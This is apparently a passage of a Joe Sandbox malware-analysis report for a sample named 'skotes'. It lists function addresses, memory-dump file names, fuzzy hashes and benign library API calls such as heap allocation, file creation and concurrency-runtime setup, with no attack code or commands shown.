Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5add76c1cac26f9fd4c8548397e334ddc3e256d0071b6e36ca8b574170265cde
Instruction ID: b953e28f7c97e149c91b69eb8f8dfdc37d80113d2f2cadf32a4a354c1a6c289f
Opcode Fuzzy Hash: 5add76c1cac26f9fd4c8548397e334ddc3e256d0071b6e36ca8b574170265cde
Instruction Fuzzy Hash: 09F0A73264E12466EB217A769C01A5B77D9DF837B0B2981E6EC16A7D91DF38DC0086E0

Function 00BAB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,3F7B10E6,?,?,00B8D3FC,3F7B10E6,?,00B87A8B,?,?,?,?,?,?,00B77465,?), ref: 00BAB07D

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c6ea9eaacbd6db038f9b81210e07f36c37a7b0101cfa79177676d8f59b86dc7c
Instruction ID: 758dbd940e87dce07ecbcc02f6f5d81a5ba78e99020d8277f701f62125f5092d
Opcode Fuzzy Hash: c6ea9eaacbd6db038f9b81210e07f36c37a7b0101cfa79177676d8f59b86dc7c
Instruction Fuzzy Hash: 14E06D3518E62596EB3132B59C41F5FB6C8DF433A0F2512A1AD74A61A2EF60DC4081E1

Function 00BB1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00BB1B65,?,?,00000000,?,00BB1B65,00000000,0000000C), ref: 00BB1792

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 66431f6bdef65f5a60d9fbf8485934692c603c045095a2f21a622f92d9459eb6
Instruction ID: f3b71e4256baab431f2bc6f54e59a523891e265510f6b8c4a7293bdf41621a57
Opcode Fuzzy Hash: 66431f6bdef65f5a60d9fbf8485934692c603c045095a2f21a622f92d9459eb6
Instruction Fuzzy Hash: 7BD0923214020DBBEF129E85DC46EDA3BAAFB88714F014500FE1866020C772E831AB94

Function 053B0AE1 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3049798186.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10efa29f1a8c5d3169486ec9e03a01e1d299168ac1500c87005d4c64cd15b6fe
Instruction ID: 46a9f8f38a0ca24003f0e963d62f9e11afb89f258afcbb4432ec025f8847a261
Opcode Fuzzy Hash: 10efa29f1a8c5d3169486ec9e03a01e1d299168ac1500c87005d4c64cd15b6fe
Instruction Fuzzy Hash: 56213BEB14C115BDB146D4826F68EFB5AAFE1D6734731C526FA03C9D02E3C58A5D5031

Function 053B0B46 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3049798186.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d92b3861aa40e1d8721b515b01f34d3e50c89580faad190c86c91e4ba83df2c8
Instruction ID: c6ecf09607a8d6cc6dd66c69b85b4333d9812bdf4723ec2d63b93bb542a33f5c
Opcode Fuzzy Hash: d92b3861aa40e1d8721b515b01f34d3e50c89580faad190c86c91e4ba83df2c8
Instruction Fuzzy Hash: 02217CEB14C114BDB14AC4816F68AFB6AAFE1D6738331C526F603C9D02E3C58A5D4031

Function 053B0B03 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3049798186.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58d492359d720ba88552b336ea4a2ac026afcc1312c088a79ec1c501fde074d2
Instruction ID: 8c3711c2d7fbf8901f0e7f3d073dd7b89097e33499b1f66414bf29c7e675d338
Opcode Fuzzy Hash: 58d492359d720ba88552b336ea4a2ac026afcc1312c088a79ec1c501fde074d2
Instruction Fuzzy Hash: 1C217FEB10C115BDB156C4816F68AFB6BAFE2D6738731C526F603CAD02E3C58A5D4131

Function 053B0B1A Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3049798186.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a934e6865048ba41669519dec1d4764670cd6e9f6fe8c609166cb6a243afc699
Instruction ID: 9e1e5d64fd098bffeb479bfe7bc3a0371696b7113d6674d74f2e1181fb1dce9f
Opcode Fuzzy Hash: a934e6865048ba41669519dec1d4764670cd6e9f6fe8c609166cb6a243afc699
Instruction Fuzzy Hash: 7B214AEB14C215BDB14AD4826F6CAFB5AAFE2D6734731C526F603C9D02E3C98A5D5031

Function 053B0B59 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3049798186.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d249d7b4d764e30f5bdfb750f6847f7a8749ac1984c21aeff13bb34f9a9c7d83
Instruction ID: 3e4f420e0fe59307d9957e948358b1d9585411610067344fd62f1a90cb871718
Opcode Fuzzy Hash: d249d7b4d764e30f5bdfb750f6847f7a8749ac1984c21aeff13bb34f9a9c7d83
Instruction Fuzzy Hash: 6621B0E710C214AEB25AC4816B58AFB6BAFE1D2734731C42AF643C9D02E3858B4E4131

Function 053B0B37 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3049798186.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f8475a4f5ec7da763d1f11154b2e26f690069fa8414c4798d368c7400556471
Instruction ID: aaefa1777b802853748984e2a3c6ba8e86792f6e62f7dfea48193be98cfb854e
Opcode Fuzzy Hash: 3f8475a4f5ec7da763d1f11154b2e26f690069fa8414c4798d368c7400556471
Instruction Fuzzy Hash: 49118EEB10C214BDB149C4812B58AFB5AAFE1D6734730C527F603C9D02E3D88A591031

Function 053B0B79 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3049798186.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1de01e52d4fcbd4a590f448befa744d734acc99f57ec6b2bb0908e570bed73dd
Instruction ID: 83134530677dfe45f29b31580176e5acae8a60fff8e116b8f7acde10df4fa053
Opcode Fuzzy Hash: 1de01e52d4fcbd4a590f448befa744d734acc99f57ec6b2bb0908e570bed73dd
Instruction Fuzzy Hash: D3115EFB10C215BDB25AC4816F58AFB5AAFE2D5734731C526F603C8D02E3C94A5D5032

Function 053B0BB6 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3049798186.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16526b864757f942e9569b11e0c119c0572e1999679fe3bc7564a79b4c35ea9a
Instruction ID: 71a918225683a42137bc8819cf4dc4fd864d6a6330e49632337a0067c209b9ef
Opcode Fuzzy Hash: 16526b864757f942e9569b11e0c119c0572e1999679fe3bc7564a79b4c35ea9a
Instruction Fuzzy Hash: 33018CEB10C214ADB109C5823B5CAFB4BAFE2E2730331C51BF643C9D02E3894A8E5132

Function 053B0BF4 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3049798186.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91d3950f8ccfcbbc6a463e02a0d2eea34c4d68c6a434889513e7620e692b4290
Instruction ID: b5a9e6f2a0a0823072717fa21443595d12f3de29069e69529e1c290319f81047
Opcode Fuzzy Hash: 91d3950f8ccfcbbc6a463e02a0d2eea34c4d68c6a434889513e7620e692b4290
Instruction Fuzzy Hash: F901F5E704C2116CB20AC1851BA8AFB6B9FE2D66303358627F603CDD02D3CA4A4A5131

Function 053B0BD9 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3049798186.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27515ce52d11363b0b7f2ee05b79f89ad829f88dea9c0866cc41161e6961f86c
Instruction ID: 4de77f8452000302a5309c83dd79e71d3cc302f5c5094f5321c5b3c3e14f3324
Opcode Fuzzy Hash: 27515ce52d11363b0b7f2ee05b79f89ad829f88dea9c0866cc41161e6961f86c
Instruction Fuzzy Hash: 1501FBFB10C210ADB159D5827B59AFB5B9FE2D5730731C527F643C9D02A7890A5D5032

Function 053B0C91 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3049798186.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bada668e0674726b693fff724d3c1ab19d89d9f6ba5245a1f41214058f85fcba
Instruction ID: 69e276a21e14a9e7c03510d66997bf67008301bd41ed7cc1c10373c416f3dcf8
Opcode Fuzzy Hash: bada668e0674726b693fff724d3c1ab19d89d9f6ba5245a1f41214058f85fcba
Instruction Fuzzy Hash: CB01D4E714C251ACB11AC5916B9C6FB2AEFE2D27303318567F207CDD02D3C94A5D5136

Function 053B0C31 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3049798186.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53b0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a29cf22b10b6aae9db5cbc1433ec536b32ca838f75f6f7d6ef972440c147bef4
Instruction ID: 7815d7670b007aedf6d8770f82bc0f3b4b4465326eec266aebed765e7b1a7d8a
Opcode Fuzzy Hash: a29cf22b10b6aae9db5cbc1433ec536b32ca838f75f6f7d6ef972440c147bef4
Instruction Fuzzy Hash: 12F098EB14C111AC7119D1922B99AFB579FE1E6A30371C52BF643C8E06D3894B5D1532

Non-executed Functions

Function 00B90E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00B90F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00B90F62

Part of subcall function 00B9265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00B92750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00B90FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00B90FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00B9103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00B9106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00B910C1

Strings

(, xrefs: 00B90F22

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: e7df1978b8ef8aed20b69e29c5d16cd2450e31ba9361aa3eddf9b3e7a949f9fb
Instruction ID: 5ea563f64a1022e2d5741ae94c5522a46bf82b49cf195afa78bc16e80b4fc329
Opcode Fuzzy Hash: e7df1978b8ef8aed20b69e29c5d16cd2450e31ba9361aa3eddf9b3e7a949f9fb
Instruction Fuzzy Hash: 67B15B70A01616EFDF28DF58D991B7AB7F4FF44300F1445AAE905AB291D731AD81CB90

Function 00B91602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B92CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00B92D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00B91614

Part of subcall function 00B92E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00B92E39
